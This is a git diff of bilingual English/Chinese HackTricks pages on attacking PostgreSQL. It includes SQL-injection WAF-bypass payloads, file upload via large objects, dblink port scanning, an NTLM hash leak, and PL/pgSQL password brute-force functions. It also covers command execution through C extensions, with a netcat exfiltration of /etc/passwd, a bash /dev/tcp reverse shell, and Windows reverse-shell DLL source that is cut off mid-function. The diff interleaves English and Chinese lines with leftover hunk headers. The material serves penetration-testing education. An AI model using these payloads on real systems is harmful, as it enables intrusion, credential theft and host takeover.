## PostgreSQL Attacks: Read/write, RCE, privesc
## PostgreSQL 攻击:读/写、RCE、权限提升
Check how to compromise the host and escalate privileges from PostgreSQL in:
查看如何从 PostgreSQL 破坏主机并提升权限:
{{#ref}}
../../../network-services-pentesting/pentesting-postgresql.md
{{#endref}}
## WAF bypass
## WAF 绕过
### PostgreSQL String functions
### PostgreSQL 字符串函数
Manipulating strings could help you to **bypass WAFs or other restrictions**.\
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
操纵字符串可以帮助你 **绕过 WAF 或其他限制**\
[**在此页面**](https://www.postgresqltutorial.com/postgresql-string-functions/)**你可以找到一些有用的字符串函数。**
### Stacked Queries
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
### 堆叠查询
请记住PostgreSQL 支持堆叠查询,但如果在期望仅返回 1 个响应时返回 2 个响应,许多应用程序会抛出错误。但是,你仍然可以通过时间注入滥用堆叠查询:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
### XML tricks
### XML技巧
**query_to_xml**
This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
此函数将以XML格式返回所有数据仅在一个文件中。如果您想在一行中转储大量数据这非常理想
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database_to_xml**
This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):
此函数将整个数据库以 XML 格式转储为仅 1 行(如果数据库非常大,请小心,因为您可能会导致 DoS 或甚至影响您自己的客户端):
```sql
SELECT database_to_xml(true,true,'');
```
### 字符串以十六进制表示
### Strings in Hex
If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert_from to pass the string as hex and bypass filters this way:**
如果您可以运行 **查询** 并将其 **放在字符串中**(例如使用 **`query_to_xml`** 函数)。 **您可以使用 convert_from 将字符串作为十六进制传递,从而以这种方式绕过过滤器:**
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
@ -75,28 +68,22 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
```
### 禁止的引号
### Forbidden quotes
If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_):
如果无法为您的有效负载使用引号,您可以通过 `CHR` 绕过此限制适用于基本子句_字符连接仅适用于基本查询例如 SELECT、INSERT、DELETE 等。它不适用于所有 SQL 语句_
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Or with `$`. This queries return the same results:
或者使用 `$`。这两个查询返回相同的结果:
```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_)。
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,65 @@
{{#include ../../../banners/hacktricks-training.md}}
### PostgreSQL Large Objects
### PostgreSQL 大对象
PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.
PostgreSQL 提供了一种称为 **大对象** 的结构,通过 `pg_largeobject` 表访问,旨在存储大数据类型,例如图像或 PDF 文档。这种方法相较于 `COPY TO` 函数具有优势,因为它能够 **将数据导出回文件系统**,确保原始文件的精确副本得以保留。
For **storing a complete file** within this table, an object must be created in the `pg_largeobject` table (identified by a LOID), followed by the insertion of data chunks, each 2KB in size, into this object. It is crucial that these chunks are exactly 2KB in size (with the possible exception of the last chunk) to ensure the exporting function performs correctly.
To **divide your binary data** into 2KB chunks, the following commands can be executed:
要在此表中 **存储完整文件**,必须在 `pg_largeobject` 表中创建一个对象(通过 LOID 识别),然后将每个 2KB 大小的数据块插入到该对象中。这些块的大小必须严格为 2KB最后一个块可能有例外以确保导出功能正常运行。
**将二进制数据** 划分为 2KB 块,可以执行以下命令:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
For encoding each file into Base64 or Hex, the commands below can be used:
对于将每个文件编码为 Base64 或 Hex可以使用以下命令
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**重要**在自动化此过程时请确保发送2KB的明文字节块。由于大小翻倍十六进制编码文件每个块将需要4KB的数据而Base64编码文件遵循公式`ceil(n / 3) * 4`
**Important**: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula `ceil(n / 3) * 4`.
The contents of the large objects can be viewed for debugging purposes using:
可以使用以下方法查看大对象的内容以进行调试:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### 使用 `lo_creat` 和 Base64
#### Using `lo_creat` & Base64
To store binary data, a LOID is first created:
要存储二进制数据,首先创建一个 LOID
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
在需要精确控制的情况下,例如利用盲 SQL 注入,`lo_create` 更适合用于指定固定的 LOID。
In situations requiring precise control, such as exploiting a Blind SQL Injection, `lo_create` is preferred for specifying a fixed LOID.
Data chunks can then be inserted as follows:
数据块可以如下插入:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
To export and potentially delete the large object after use:
要导出并在使用后可能删除大对象:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### 使用 `lo_import` 和十六进制
#### Using `lo_import` & Hex
The `lo_import` function can be utilized to create and specify a LOID for a large object:
`lo_import` 函数可用于创建并指定大型对象的 LOID
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:
在对象创建后数据按页面插入确保每个块不超过2KB
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
To complete the process, the data is exported and the large object is deleted:
为了完成这个过程,数据被导出并且大对象被删除:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### 限制
### Limitations
It's noted that **large objects may have ACLs** (Access Control Lists), potentially restricting access even to objects created by your user. However, older objects with permissive ACLs may still be accessible for content exfiltration.
需要注意的是,**大对象可能具有 ACLs**(访问控制列表),可能会限制对即使是由您的用户创建的对象的访问。然而,具有宽松 ACLs 的旧对象可能仍然可以访问以进行内容外泄。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,9 @@
# dblink/lo_import data exfiltration
# dblink/lo_import 数据外泄
{{#include ../../../banners/hacktricks-training.md}}
**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**
**这是一个如何使用 `lo_import` 加载数据库中的文件并使用 `dblink_connect` 进行数据外泄的示例。**
**Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
**查看解决方案来自:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,70 +1,61 @@
# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
# 网络 - 权限提升、端口扫描和 NTLM 挑战响应泄露
{{#include ../../../banners/hacktricks-training.md}}
**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
**查找** [**有关这些攻击的更多信息,请参阅原始论文**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)。
**PostgreSQL 9.1** 以来,安装额外模块变得简单。 [注册扩展如 `dblink`](https://www.postgresql.org/docs/current/contrib.html) 可以通过 [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) 安装:
```sql
CREATE EXTENSION dblink;
```
一旦加载了 dblink您可以执行一些有趣的技巧
Once you have dblink loaded you could be able to perform some interesting tricks:
### Privilege Escalation
The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:
### 权限提升
文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的任何用户连接**,而无需知道密码。该文件通常位于 `/etc/postgresql/12/main/pg_hba.conf`,不当配置的样子如下:
```
local all all trust
```
_请注意这种配置通常用于在管理员忘记数据库用户密码时修改密码因此有时您可能会发现它。_\
&#xNAN;_&#x4E;请注意pg_hba.conf 文件仅可由 postgres 用户和组读取,并且仅可由 postgres 用户写入。_
_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\
&#xNAN;_&#x4E;ote also that the file pg_hba.conf is readable only by postgres user and group and writable only by postgres user._
This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database.
Another possible misconfiguration consist on something like this:
这种情况是**有用的,如果**您**已经**在受害者的**shell**中,因为它将允许您连接到 postgresql 数据库。
另一个可能的错误配置类似于这样:
```
host all all 127.0.0.1/32 trust
```
As it will allow everybody from the localhost to connect to the database as any user.\
In this case and if the **`dblink`** function is **working**, you could **escalate privileges** by connecting to the database through an already established connection and access data shouldn't be able to access:
因为这将允许来自本地主机的每个人以任何用户身份连接到数据库。\
在这种情况下,如果 **`dblink`** 函数 **正常工作**,您可以通过通过已建立的连接连接到数据库来 **提升权限**,并访问不应该能够访问的数据:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
### 端口扫描
### Port Scanning
Abusing `dblink_connect` you could also **search open ports**. If that \*\*function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_.
滥用 `dblink_connect` 你也可以 **搜索开放端口**。如果该 **函数不起作用,你应该尝试使用 `dblink_connect_u()`,因为文档说 `dblink_connect_u()``dblink_connect()` 是相同的,除了它允许非超级用户使用任何认证方法连接。**
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
@ -78,15 +69,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Note that **before** being able to use `dblink_connect` or `dblink_connect_u` you may need to execute:
请注意,在能够使用 `dblink_connect``dblink_connect_u` 之前,您可能需要执行:
```
CREATE extension dblink;
```
### UNC path - NTLM hash disclosure
### UNC 路径 - NTLM 哈希泄露
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -107,6 +94,4 @@ END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,122 +1,109 @@
# PL/pgSQL Password Bruteforce
# PL/pgSQL 密码暴力破解
{{#include ../../../banners/hacktricks-training.md}}
**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
**在原始论文中找到[更多关于这些攻击的信息](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**。
PL/pgSQL is a **fully featured programming language** that extends beyond the capabilities of SQL by offering **enhanced procedural control**. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:
PL/pgSQL 是一种 **功能齐全的编程语言**,通过提供 **增强的过程控制** 超越了 SQL 的能力。这包括使用循环和各种控制结构。用 PL/pgSQL 语言编写的函数可以通过 SQL 语句和触发器调用,从而扩展数据库环境中的操作范围。
您可以利用这种语言要求 PostgreSQL 暴力破解用户凭据,但它必须存在于数据库中。您可以使用以下方法验证它的存在:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
lanname | lanacl
---------+---------
plpgsql |
```
By default, **creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:
默认情况下,**创建函数是授予PUBLIC的特权**其中PUBLIC指的是该数据库系统上的每个用户。为了防止这种情况管理员可能需要从PUBLIC域撤销USAGE特权
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
In that case, our previous query would output different results:
在这种情况下,我们之前的查询将输出不同的结果:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Note that for the following script to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with&#x20;
请注意,为了使以下脚本正常工作,**需要存在函数 `dblink`**。如果不存在,您可以尝试使用
```sql
CREATE EXTENSION dblink;
```
## 密码暴力破解
## Password Brute Force
Here how you could perform a 4 chars password bruteforce:
以下是如何执行4个字符密码的暴力破解
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_请注意即使是暴力破解4个字符也可能需要几分钟。_
_Note that even brute-forcing 4 characters may take several minutes._
You could also **download a wordlist** and try only those passwords (dictionary attack):
您还可以**下载一个密码字典**并仅尝试那些密码(字典攻击):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
## PostgreSQL Extensions
PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.
PostgreSQL 的核心特性是可扩展性,允许它无缝集成扩展,就像内置功能一样。这些扩展本质上是用 C 编写的库,为数据库提供额外的函数、操作符或类型。
From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.
从 8.1 版本开始对扩展库施加了特定要求它们必须使用特殊头文件编译。没有这个PostgreSQL 将不会执行它们,确保只使用兼容且可能安全的扩展。
Also, keep in mind that **if you don't know how to** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
此外,请记住 **如果你不知道如何** [**利用 PostgreSQL 上传文件到受害者,你应该阅读这篇文章。**](big-binary-files-upload-postgresql.md)
### RCE in Linux
**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
**有关更多信息,请查看: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
从 PostgreSQL 8.1 及更早版本执行系统命令的过程已经被清楚地记录,并且相对简单。可以使用这个: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -25,89 +24,79 @@ CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
```
<details>
<summary>Write binary file from base64</summary>
To write a binary into a file in postgres you might need to use base64, this will be helpful for that matter:
<summary>从 base64 写入二进制文件</summary>
要在 postgres 中将二进制写入文件,您可能需要使用 base64这对这个问题会很有帮助
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
SELECT close(fh) INTO rs;
RETURN 0;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
END;
$$ LANGUAGE 'plpgsql';
```
</details>
However, when attempted on greater versions **the following error was shown**:
然而,当在更高版本上尝试时 **显示了以下错误**
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
此错误在[PostgreSQL文档](https://www.postgresql.org/docs/current/static/xfunc-c.html)中有解释:
This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始魔法块是必需的。要包含魔法块请在包含头文件fmgr.h之后在模块源文件中的一个且仅一个位置写入以下内容
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.
自PostgreSQL 8.2版本以来攻击者利用系统的过程变得更加具有挑战性。攻击者需要使用系统上已经存在的库或者上传自定义库。此自定义库必须针对兼容的PostgreSQL主要版本进行编译并且必须包含特定的“魔法块”。这一措施显著增加了利用PostgreSQL系统的难度因为它需要对系统的架构和版本兼容性有更深入的理解。
#### Compile the library
Get the PsotgreSQL version with:
#### 编译库
获取PostgreSQL版本
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
为了兼容性主要版本必须对齐。因此使用9.6.x系列中的任何版本编译库应确保成功集成。
For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.
To install that version in your system:
要在系统中安装该版本:
```bash
apt install postgresql postgresql-server-dev-9.6
```
And compile the library:
并编译库:
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
@ -120,27 +109,23 @@ PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
Then upload the compiled library and execute commands with:
然后上传编译好的库并使用以下命令执行:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
You can find this **library precompiled** to several different PostgreSQL versions and even can **automate this process** (if you have PostgreSQL access) with:
您可以找到这个 **预编译的库** 适用于多个不同的 PostgreSQL 版本,甚至可以 **自动化这个过程**(如果您有 PostgreSQL 访问权限):
{% embed url="https://github.com/Dionach/pgexec" %}
### RCE in Windows
The following DLL takes as input the **name of the binary** and the **number** of **times** you want to execute it and executes it:
### Windows 中的 RCE
以下 DLL 以 **二进制文件的名称** 和您想要执行的 **次数** 作为输入,并执行它:
```c
#include "postgres.h"
#include <string.h>
@ -162,36 +147,32 @@ in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
```
You can find the DLL compiled in this zip:
您可以在此 zip 中找到编译的 DLL
{% file src="../../../images/pgsql_exec.zip" %}
You can indicate to this DLL **which binary to execute** and the number of time to execute it, in this example it will execute `calc.exe` 2 times:
您可以指示此 DLL **要执行哪个二进制文件** 以及执行的次数,在此示例中,它将执行 `calc.exe` 2 次:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:
在 [**这里** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) 你可以找到这个反向 shell
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -213,46 +194,46 @@ PG_MODULE_MAGIC;
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
